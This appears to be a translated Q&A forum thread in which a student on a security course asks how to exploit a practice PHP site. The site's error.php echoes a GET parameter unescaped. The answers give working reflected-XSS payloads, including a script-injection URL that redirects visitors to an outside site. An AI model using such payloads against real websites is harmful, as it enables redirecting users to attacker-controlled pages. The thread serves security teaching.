在我的安全课程中,老师给了我们一个挑战,我们可以在虚拟网站上练习xss。 该网站由2个php页面组成。 第一个叫做xss.php,这是代码
<html>
<head>
<title>Equations</title>
</head>
<body>
<center>
<?php
if (isset($_POST['result'])){
$result = $_POST['result'];
if (intval($result) == 1){
echo "<h1>Ok, you are able to solve simple equations </h1><br>";
}
if (intval($result) == 0) {
header("Location: error.php?error=Type numbers!");
}
if (intval($result) != 1){
echo "<h1>Wrong result! Try again.</h1>";
}
}
else { ?>
<h1>Can you solve equations?</h1>
<h2>x^2 - 2*x + 1</h2>
<form method=POST action="xss.php">
<table>
<tr> <td>x:</td> <td><input type=text name=result></td> </tr>
</table>
<input type=submit value=Submit />
</form>
</center>
</body>
</html>
<?php }
?>
第二个是error.php,就是这个:
<html>
<head>
<title>Error</title>
</head>
<body>
<center>
<h1>Error: <?php echo $_GET["error"]; ?></h1>
<center>
</body>
</html>
请求是将某人重定向到另一个网站(我称之为“http://whatever.com/”)。当我开始挑战时,我在xss.php中,我唯一能做的就是在输入表单中写一些东西(name = result)。我能写些什么?谢谢
答案 0 :(得分:1)
XSS攻击是指允许用户将脚本块注入渲染的HTML中的攻击。所以,首先你必须弄清楚如何做到这一点。例如,如果用户的输入显示在页面上并且未进行html转义,则用户可以执行以下操作:
用户输入:
<script>alert('testing');</script>
之后,如果在查看页面时显示警报,则该页面易受XSS攻击。
因此,如果用户按如下方式输入JavaScript:
<script>window.location.href = "http://www.whatever.com";</script>
将重定向用户。
答案 1 :(得分:0)
你可以传递“错误”GET变量javascript代码重定向页面,无论你想要什么。 为此,您将访问
error.php?error=<script>window.location.href="http://youpageurl.com";</script>
然后你必须被重定向到“yourpageurl.com”网站